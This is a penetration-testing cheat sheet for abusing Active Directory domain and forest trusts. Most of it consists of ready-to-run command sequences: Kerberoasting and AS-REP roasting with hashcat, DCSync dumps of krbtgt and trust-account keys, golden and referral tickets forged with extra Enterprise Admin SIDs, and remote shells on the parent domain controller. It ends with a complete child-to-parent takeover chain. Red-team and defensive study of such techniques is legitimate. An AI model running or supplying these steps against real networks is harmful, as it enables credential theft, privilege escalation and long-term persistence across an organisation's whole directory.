Quick Reference

AttackRequirementTool
Cross-domain KerberoastingValid low-priv creds in child domainGetUserSPNs.py
Cross-domain AS-REP RoastingValid low-priv creds in child domainGetNPUsers.py
SID History Injection (parent-child)Domain Admin in child domain, child krbtgt hashticketer.py
Cross-domain DCSyncReplication rights or DA in target domainsecretsdump.py
One-way inbound trust abuseDA in trusted domain, inter-realm keyticketer.py (silver), getST.py
One-way outbound trust abuseDA in trusting domain, TDO GUIDsecretsdump.py, getTGT.py
Cross-forest KerberoastingBidirectional forest trust, valid credsGetUserSPNs.py
Golden ticket cross-domainChild krbtgt hash + parent domain SIDticketer.py
BloodHound trust mappingValid creds, network access to DCbloodhound-python

Trust Concepts

Trust Types

A Trust is a relationship between two domains that allows security principals in one domain to authenticate to resources in another. Trust information is stored in Active Directory as Trusted Domain Objects (TDOs) under CN=System.

Trust type by trustType value:

ValueNameDescription
1DOWNLEVELWindows NT 4.0 domain
2UPLEVELActive Directory domain
3MITNon-Windows Kerberos realm

Common trust relationship categories:

  • Parent-Child Trust — Two-way, transitive. Automatically created when a new child domain is added to an existing tree. The child domain’s FQDN is a subdomain of the parent.
  • Tree-Root Trust — Two-way, transitive. Automatically created when a new domain tree is added to an existing forest.
  • External Trust — One or two-way, non-transitive. Connects domains in different forests.
  • Forest Trust — One or two-way, can be transitive. Connects two forest root domains and enables cross-forest authentication.

Trust Direction (trustDirection)

ValueConstantMeaning
0TRUST_DIRECTION_DISABLEDTrust is disabled
1TRUST_DIRECTION_INBOUNDRemote domain trusts us — their users can access our resources
2TRUST_DIRECTION_OUTBOUNDWe trust the remote domain — our users can access their resources
3TRUST_DIRECTION_BIDIRECTIONALMutual trust in both directions

From an attacker’s perspective:

  • INBOUND (1): The foreign domain trusts this domain. Users from this domain can authenticate to the foreign domain.
  • OUTBOUND (2): This domain trusts the foreign domain. Users from the foreign domain can authenticate here.
  • BIDIRECTIONAL (3): Full mutual trust.

Trust Attribute Flags (trustAttributes)

These are bitwise flags. A single integer value may represent multiple flags OR’d together.

Flag (Hex)Value (Dec)ConstantMeaning
0x011NON_TRANSITIVETrust is not transitive
0x022UPLEVEL_ONLYTrust valid only for Windows 2000+ clients
0x044QUARANTINED_DOMAINSID filtering is enabled — blocks SID History injection
0x088FOREST_TRANSITIVETrust is transitive between two forests
0x1016CROSS_ORGANIZATIONNo TGT delegation across this trust
0x2032WITHIN_FORESTTrust between two domains in the same forest (parent-child)
0x4064TREAT_AS_EXTERNALTreated as external trust, SID filtering implied
0x80128USES_RC4_ENCRYPTIONUses RC4 instead of AES for inter-realm key encryption

Key security implication: If trustAttributes has bit 0x04 (QUARANTINED_DOMAIN) set, SID History injection via extra SIDs will be stripped at the trust boundary. This is the primary defense against parent-child privilege escalation.

Transitivity

Transitivity determines whether a trust extends beyond its two direct parties. If Domain A trusts Domain B and Domain B trusts Domain C, a transitive trust means Domain A implicitly trusts Domain C.

  • Parent-child and tree-root trusts are always transitive within a forest.
  • External trusts are non-transitive by default.
  • Forest trusts can be transitive if FOREST_TRANSITIVE (0x08) is set.

Inter-Realm Keys and Trust Accounts

When a trust is established, an inter-realm key is shared between the two domains. This key bridges the cryptographic gap — a TGT issued by one KDC cannot be decrypted by another KDC because they do not share the same krbtgt secret.

A trust account is created in each domain using the NetBIOS flat name of the trusting domain with a $ suffix (e.g., PARTNER$). This account’s password is the shared inter-realm key.

Enumerate trust accounts:

ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "DC=CHILD_DOMAIN_BASE" \
  "(samAccountType=805306370)" samAccountName

Environment Setup

/etc/hosts Configuration

For multi-domain environments, ensure both DCs resolve correctly:

# Add child and parent DC entries
echo "CHILD_DC_IP    dc.CHILD_DOMAIN CHILD_DOMAIN" | sudo tee -a /etc/hosts
echo "PARENT_DC_IP   dc.PARENT_DOMAIN PARENT_DOMAIN" | sudo tee -a /etc/hosts

krb5.conf for Multi-Domain Kerberos

sudo nano /etc/krb5.conf
[libdefaults]
    default_realm = CHILD_DOMAIN
    dns_lookup_realm = false
    dns_lookup_kdc = true
    forwardable = true
    rdns = false

[realms]
    CHILD_DOMAIN = {
        kdc = CHILD_DC_IP
        admin_server = CHILD_DC_IP
    }
    PARENT_DOMAIN = {
        kdc = PARENT_DC_IP
        admin_server = PARENT_DC_IP
    }

[domain_realm]
    .CHILD_DOMAIN = CHILD_DOMAIN
    CHILD_DOMAIN = CHILD_DOMAIN
    .PARENT_DOMAIN = PARENT_DOMAIN
    PARENT_DOMAIN = PARENT_DOMAIN

Enumeration

LDAP Trust Enumeration

Query the CN=System container for trustedDomain objects:

ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "CN=System,DC=CHILD_DOMAIN_DC_BASE" \
  "(objectClass=trustedDomain)" \
  trustPartner trustDirection trustType trustAttributes flatName

Full attribute pull for analysis:

ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "CN=System,DC=CHILD_DOMAIN_DC_BASE" \
  "(objectClass=trustedDomain)" \
  trustPartner trustDirection trustType trustAttributes flatName securityIdentifier objectGUID

Parse key fields:

  • trustPartner — FQDN of the trusted/trusting domain
  • trustDirection — integer (0/1/2/3)
  • trustType — integer (1/2/3)
  • trustAttributes — bitwise integer, decode against the flag table above
  • flatName — NetBIOS name
  • objectGUID — needed for outbound trust TDO DCSync

Domain SID Enumeration via LDAP

ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "DC=CHILD_DOMAIN_DC_BASE" \
  "(objectClass=domain)" objectSid

# Get parent domain SID
ldapsearch -x -H ldap://PARENT_DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "DC=PARENT_DOMAIN_DC_BASE" \
  "(objectClass=domain)" objectSid

lookupsid for SID Discovery

# Enumerate child domain SID
lookupsid.py CHILD_DOMAIN/USERNAME:PASSWORD@CHILD_DC_IP | grep "Domain SID"

# Enumerate parent domain SID
lookupsid.py CHILD_DOMAIN/USERNAME:PASSWORD@PARENT_DC_IP | grep "Domain SID"

# Full SID enumeration (reveals trust accounts, well-known SIDs)
lookupsid.py CHILD_DOMAIN/USERNAME:PASSWORD@DC_IP

NetExec (nxc) Trust Queries

# LDAP trusted-for-delegation enum (also reveals delegation info)
nxc ldap DC_IP -u USERNAME -p PASSWORD --trusted-for-delegation

# SMB domain info
nxc smb DC_IP -u USERNAME -p PASSWORD --pass-pol

# Enumerate users across domains
nxc ldap DC_IP -u USERNAME -p PASSWORD --users
nxc ldap PARENT_DC_IP -u USERNAME -p PASSWORD --users

BloodHound Trust Mapping

# Collect all data including trust relationships
bloodhound-python \
  -c All,Trusts \
  -d CHILD_DOMAIN \
  -u USERNAME \
  -p PASSWORD \
  -dc DC_IP \
  --zip

# Collect from parent domain if creds available
bloodhound-python \
  -c All,Trusts \
  -d PARENT_DOMAIN \
  -u USERNAME \
  -p PASSWORD \
  -dc PARENT_DC_IP \
  --zip

In BloodHound, use the pre-built query “Find Shortest Paths to Domain Trusts” or the Trusts tab on a domain node.

DNS-Based Domain and DC Discovery

Discover child domains from the parent domain via DNS SRV records:

# Find all DCs in child domain
dig _ldap._tcp.CHILD_DOMAIN SRV

# Find Kerberos DCs
dig _kerberos._tcp.CHILD_DOMAIN SRV
nslookup -type=SRV _kerberos._tcp.CHILD_DOMAIN DC_IP

# Find all DCs in parent domain
dig _ldap._tcp.dc._msdcs.PARENT_DOMAIN SRV @PARENT_DC_IP

# Global Catalog (forest-wide)
dig _gc._tcp.PARENT_DOMAIN SRV @PARENT_DC_IP

# Enumerate domain info
nmap -p 88,389,445,636,3268,3269 TARGET_IP --open

rpcclient Trust Enumeration

rpcclient -U "USERNAME%PASSWORD" DC_IP

# Inside rpcclient prompt:
rpcclient $> dsenumdomtrusts
rpcclient $> enumdomains
rpcclient $> dsgetdcname TRUSTED_DOMAIN
rpcclient $> querydominfo

Python ldap3 Trust Script

#!/usr/bin/env python3
from ldap3 import Server, Connection, ALL, NTLM

server = Server('DC_IP', get_info=ALL)
conn = Connection(
    server,
    user='CHILD_DOMAIN\\USERNAME',
    password='PASSWORD',
    authentication=NTLM
)

if conn.bind():
    conn.search(
        'CN=System,DC=child,DC=example,DC=com',
        '(objectClass=trustedDomain)',
        attributes=[
            'trustPartner', 'trustDirection',
            'trustType', 'trustAttributes',
            'securityIdentifier', 'objectGUID', 'flatName'
        ]
    )
    for entry in conn.entries:
        print(f"[*] Trust Partner: {entry.trustPartner}")
        print(f"    Direction:      {entry.trustDirection}")
        print(f"    Type:           {entry.trustType}")
        print(f"    Attributes:     {entry.trustAttributes}")
        print(f"    GUID:           {entry.objectGUID}")
        print()
else:
    print("[-] Bind failed")

Cross-Domain Kerberoasting

When a trust exists, SPNs registered in the trusted domain may be targetable from an account in the trusting domain.

Step 1: Obtain a TGT for the child domain account

getTGT.py CHILD_DOMAIN/USERNAME:PASSWORD
export KRB5CCNAME=USERNAME.ccache

Step 2: Request TGS hashes for SPNs in the parent domain

GetUserSPNs.py \
  -k -no-pass \
  -target-domain PARENT_DOMAIN \
  -dc-host PARENT_DC_IP \
  -request \
  CHILD_DOMAIN/USERNAME

Step 3: Save output and crack

GetUserSPNs.py \
  -k -no-pass \
  -target-domain PARENT_DOMAIN \
  -dc-host PARENT_DC_IP \
  -request \
  -outputfile kerberoast_cross.txt \
  CHILD_DOMAIN/USERNAME

hashcat -m 13100 kerberoast_cross.txt /usr/share/wordlists/rockyou.txt

Note: This requires that the trust direction allows your account to authenticate to the parent domain. A bidirectional or parent-child trust (direction=3) satisfies this. Check trustDirection before attempting.


Cross-Domain AS-REP Roasting

Enumerate accounts in the parent domain that do not require Kerberos pre-authentication:

# With valid child domain credentials
GetNPUsers.py \
  -target-domain PARENT_DOMAIN \
  -dc-host PARENT_DC_IP \
  -request \
  -format hashcat \
  -outputfile asrep_cross.txt \
  CHILD_DOMAIN/USERNAME:PASSWORD

hashcat -m 18200 asrep_cross.txt /usr/share/wordlists/rockyou.txt

Cross-Domain DCSync

If you have an account with replication privileges (Domain Admin, or explicitly granted DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) in the target domain:

# DCSync the parent domain controller
secretsdump.py -just-dc CHILD_DOMAIN/USERNAME:PASSWORD@PARENT_DC_IP

# Dump only the krbtgt account
secretsdump.py -just-dc-user krbtgt CHILD_DOMAIN/USERNAME:PASSWORD@PARENT_DC_IP

# Dump with NTLM hash instead of password
secretsdump.py -just-dc -hashes :NTLM_HASH CHILD_DOMAIN/USERNAME@PARENT_DC_IP

SID History Injection — Parent-Child Escalation

This is the primary technique for escalating from child domain admin to parent domain Enterprise Admin. The SID History attribute in a Kerberos PAC allows additional SIDs to be included in the ticket. By adding the parent domain’s Enterprise Admins SID (PARENT_SID-519), the forged ticket is treated as belonging to that privileged group when accessing the parent domain.

Prerequisite: Domain Admin in the child domain.

Step 1: DCSync the child domain krbtgt

secretsdump.py \
  -just-dc-user krbtgt \
  CHILD_DOMAIN/DA_USERNAME:PASSWORD@CHILD_DC_IP

Note both the NT hash (NTLM) and aes256-cts-hmac-sha1-96 value from the output.

Step 2: Get the child domain SID

lookupsid.py CHILD_DOMAIN/USERNAME:PASSWORD@CHILD_DC_IP | grep "Domain SID"

Output example: Domain SID is: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX

Save this as CHILD_SID.

Step 3: Get the parent domain SID

lookupsid.py CHILD_DOMAIN/USERNAME:PASSWORD@PARENT_DC_IP | grep "Domain SID"

Save this as PARENT_SID.

Step 4: Forge the inter-realm golden ticket with extra SID

The -extra-sid value must be PARENT_SID-519 (Enterprise Admins RID is always 519).

ticketer.py \
  -nthash KRBTGT_HASH \
  -aesKey KRBTGT_AES256 \
  -domain CHILD_DOMAIN \
  -domain-sid CHILD_SID \
  -extra-sid PARENT_SID-519 \
  fake_admin

This creates fake_admin.ccache.

Step 5: Export the ticket

export KRB5CCNAME=fake_admin.ccache
klist

Step 6: Access the parent domain controller

# PsExec-style shell on parent DC
psexec.py -k -no-pass CHILD_DOMAIN/fake_admin@PARENT_DC_HOSTNAME

# WMI execution
wmiexec.py -k -no-pass CHILD_DOMAIN/fake_admin@PARENT_DC_HOSTNAME

# SMB file access
smbclient.py -k -no-pass //PARENT_DC_HOSTNAME/C$

# Dump parent domain hashes via DCSync
secretsdump.py -k -no-pass -just-dc CHILD_DOMAIN/fake_admin@PARENT_DC_HOSTNAME

Note: The PARENT_DC_HOSTNAME in the connection string must match a DNS-resolvable hostname, not an IP address, when using Kerberos (-k). Add it to /etc/hosts if needed.

Why this works: The forged TGT is signed with the child domain’s krbtgt secret. When presented to the child domain KDC during trust traversal, the KDC issues an inter-realm referral ticket. The extra SID (PARENT_SID-519) is preserved in the PAC and accepted by the parent DC unless SID filtering (0x04 QUARANTINED_DOMAIN) is enforced.


Golden Ticket Cross-Domain

A golden ticket forged with the child krbtgt is functionally equivalent to the SID History approach when -extra-sid is included:

# Forge with AES key preferred (more stealth than RC4/NTLM)
ticketer.py \
  -nthash KRBTGT_HASH \
  -aesKey KRBTGT_AES256 \
  -domain CHILD_DOMAIN \
  -domain-sid CHILD_SID \
  -extra-sid PARENT_SID-519 \
  -duration 87600 \
  fake_admin

export KRB5CCNAME=fake_admin.ccache

# Access any machine in the parent domain
psexec.py -k -no-pass CHILD_DOMAIN/fake_admin@PARENT_DC_HOSTNAME
wmiexec.py -k -no-pass CHILD_DOMAIN/fake_admin@PARENT_DC_HOSTNAME

The -duration 87600 sets ticket lifetime to 10 years (expressed in hours). Persistence lasts until the krbtgt account is rotated twice in the child domain.


One-Way Inbound Trust Abuse

Scenario: You are compromised in domain A. Domain B has trustDirection=1 (INBOUND toward A), meaning domain B trusts domain A. Users from A can access resources in B.

Enumeration

# Identify inbound trust (direction=1)
ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "CN=System,DC=CHILD_DOMAIN_DC_BASE" \
  "(objectClass=trustedDomain)" \
  trustDirection trustPartner trustAttributes flatName

Look for trustDirection: 1.

Foreign Security Principals Container

In the trusting domain (B), the Foreign Security Principals container holds objects representing security principals from domain A that have been granted access to resources in B.

ldapsearch -x -H ldap://TRUSTED_DOMAIN_DC \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "CN=ForeignSecurityPrincipals,DC=TRUSTED_DOMAIN_DC_BASE" \
  "(objectClass=foreignSecurityPrincipal)" \
  cn memberOf

The cn attribute contains the SID of the foreign principal. Resolve it:

ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "DC=CHILD_DOMAIN_DC_BASE" \
  "(objectSid=FOREIGN_SID)"

This reveals which local users or groups have been granted membership in the trusting domain’s groups — a high-value target.

DCSync the Inter-Realm Key

The inter-realm key is stored as the password of the trust account (TRUSTED_DOMAIN$). DCSync this account from the domain where the TDO exists:

# Dump the trust account credentials
secretsdump.py \
  -just-dc-user TRUSTED_DOMAIN$ \
  CHILD_DOMAIN/DA_USERNAME:PASSWORD@DC_IP

The [Out] key is the current inter-realm key; [Out-1] is the previous one (rotated every 30 days).

Forge a Referral Ticket (Silver Ticket for krbtgt Service)

Use the inter-realm key (RC4/NTLM hash by default, since trusts use RC4 unless AES is configured) to forge a ticket that presents as a referral from the trusted domain:

# Forge silver ticket targeting the krbtgt service of the trusting domain
ticketer.py \
  -nthash INTER_REALM_NTLM_HASH \
  -domain CHILD_DOMAIN \
  -domain-sid CHILD_SID \
  -spn krbtgt/TRUSTED_DOMAIN \
  USERNAME

export KRB5CCNAME=USERNAME.ccache

Request Service Tickets in the Trusting Domain

# Request a CIFS service ticket in the trusting domain
getST.py \
  -k -no-pass \
  -spn cifs/TARGET_HOST.TRUSTED_DOMAIN \
  -dc-ip TRUSTED_DOMAIN_DC \
  CHILD_DOMAIN/USERNAME

export KRB5CCNAME=USERNAME@cifs_TARGET.ccache
smbclient.py -k -no-pass //TARGET_HOST.TRUSTED_DOMAIN/C$

Note: Trusts, even in modern Windows environments, typically use RC4 encryption for the inter-realm key by default unless AES was explicitly configured at trust creation. The trustAttributes flag 0x80 (USES_RC4_ENCRYPTION) confirms RC4.


One-Way Outbound Trust Abuse

Scenario: You are in domain A. Domain A has trustDirection=2 (OUTBOUND toward B), meaning domain A trusts domain B. Users from B can authenticate into A.

You are on the “wrong side” — you cannot directly authenticate into B using your A credentials. However, the TDO in domain A stores the inter-realm key for the trust with B.

Enumerate the TDO GUID

ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "CN=System,DC=CHILD_DOMAIN_DC_BASE" \
  "(objectClass=trustedDomain)" \
  name objectGUID trustDirection

Note the objectGUID value for the trust object pointing to the domain you want to access.

DCSync the TDO Using the GUID

# Use secretsdump with the GUID to extract the inter-realm key
# The GUID must be formatted as {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
secretsdump.py \
  -just-dc-user "{TDO_OBJECT_GUID}" \
  CHILD_DOMAIN/DA_USERNAME:PASSWORD@DC_IP

This yields the RC4 (NTLM) and/or AES inter-realm keys ([Out] = current, [Out-1] = previous).

Request a TGT as the Trust Account

The trust account in the trusting domain (A) has the form TRUSTED_DOMAIN_FLATNAME$ and its password is the inter-realm key.

getTGT.py \
  -hashes :INTER_REALM_RC4_HASH \
  CHILD_DOMAIN/TRUSTED_DOMAIN_FLATNAME$

export KRB5CCNAME=TRUSTED_DOMAIN_FLATNAME$.ccache

Enumerate the Trusted Domain

# Enumerate domain objects in the trusted domain
ldapsearch -x -H ldap://TRUSTED_DOMAIN_DC \
  -D "CHILD_DOMAIN\\TRUSTED_DOMAIN_FLATNAME$" \
  -Y GSSAPI \
  -b "DC=TRUSTED_DOMAIN_DC_BASE" \
  "(objectClass=domain)" name objectSid

# Enumerate users in the trusted domain
GetADUsers.py \
  -k -no-pass \
  -dc-ip TRUSTED_DOMAIN_DC \
  CHILD_DOMAIN/TRUSTED_DOMAIN_FLATNAME$

Cross-Forest Attack Vectors

SID Filtering Check

Before attempting any SID History-based attack across a forest trust, verify whether SID filtering is active:

ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "CN=System,DC=CHILD_DOMAIN_DC_BASE" \
  "(objectClass=trustedDomain)" trustAttributes trustPartner

Decode trustAttributes against the flag table:

  • Bit 0x04 (value 4) set = QUARANTINED_DOMAIN = SID filtering active = ExtraSIDs stripped at boundary
  • Bit 0x40 (value 64) set = TREAT_AS_EXTERNAL = SID filtering implied even on forest trusts

If SID filtering is active, SID History injection attacks will fail silently — the extra SIDs are stripped when the ticket crosses the trust boundary.

Cross-Forest Kerberoasting

If a bidirectional forest trust exists (trustAttributes has FOREST_TRANSITIVE = 0x08, direction = 3):

getTGT.py CHILD_DOMAIN/USERNAME:PASSWORD
export KRB5CCNAME=USERNAME.ccache

GetUserSPNs.py \
  -k -no-pass \
  -target-domain TRUSTED_DOMAIN \
  -dc-host TRUSTED_DOMAIN_DC \
  -request \
  CHILD_DOMAIN/USERNAME

hashcat -m 13100 forest_kerberoast.txt /usr/share/wordlists/rockyou.txt

ExtraSIDs Abuse When SID Filtering Is Disabled

If SID filtering is not enabled on a forest trust (uncommon but possible in legacy or misconfigured environments):

# Same as parent-child SID History — add Enterprise Admins SID of foreign forest
ticketer.py \
  -nthash KRBTGT_HASH \
  -aesKey KRBTGT_AES256 \
  -domain CHILD_DOMAIN \
  -domain-sid CHILD_SID \
  -extra-sid TRUSTED_DOMAIN_EA_SID \
  fake_admin

export KRB5CCNAME=fake_admin.ccache
psexec.py -k -no-pass CHILD_DOMAIN/fake_admin@TRUSTED_DC_HOSTNAME

Selective Authentication Bypass

When trustAttributes includes CROSS_ORGANIZATION (0x10), Selective Authentication may be enforced. This restricts which accounts from the trusting domain can authenticate to specific resources in the trusted domain.

Check for this condition:

ldapsearch -x -H ldap://DC_IP \
  -D "USERNAME@CHILD_DOMAIN" -w 'PASSWORD' \
  -b "CN=System,DC=CHILD_DOMAIN_DC_BASE" \
  "(objectClass=trustedDomain)" trustAttributes

If 0x10 is set in the trustAttributes value (it may be combined with other flags), the trust has the CROSS_ORGANIZATION flag. In this case, only accounts that have been explicitly granted the “Allowed to Authenticate” right on target resources will succeed.


Complete Attack Flow: Child to Parent Escalation

[Attacker on Kali — compromise child domain DA first]

1. ENUM TRUSTS
   ldapsearch -b "CN=System,..." "(objectClass=trustedDomain)"
   → trustDirection=3 (bidirectional parent-child)
   → trustAttributes=32 (0x20 = WITHIN_FOREST, no SID filtering)

2. GET CHILD KRBTGT
   secretsdump.py -just-dc-user krbtgt CHILD_DOMAIN/DA:PASS@CHILD_DC_IP
   → NT hash  → KRBTGT_HASH
   → AES256   → KRBTGT_AES256

3. GET DOMAIN SIDs
   lookupsid.py CHILD_DOMAIN/USERNAME:PASSWORD@CHILD_DC_IP  → CHILD_SID
   lookupsid.py CHILD_DOMAIN/USERNAME:PASSWORD@PARENT_DC_IP → PARENT_SID

4. FORGE TICKET
   ticketer.py -nthash KRBTGT_HASH -aesKey KRBTGT_AES256 \
     -domain CHILD_DOMAIN -domain-sid CHILD_SID \
     -extra-sid PARENT_SID-519 fake_admin

5. AUTHENTICATE TO PARENT
   export KRB5CCNAME=fake_admin.ccache
   psexec.py -k -no-pass CHILD_DOMAIN/fake_admin@PARENT_DC_HOSTNAME
   → NT AUTHORITY\SYSTEM shell on parent DC

6. DUMP PARENT
   secretsdump.py -k -no-pass -just-dc CHILD_DOMAIN/fake_admin@PARENT_DC_HOSTNAME
   → All hashes in parent domain, including parent krbtgt

Disclaimer: For educational purposes only. Unauthorized access to computer systems is illegal.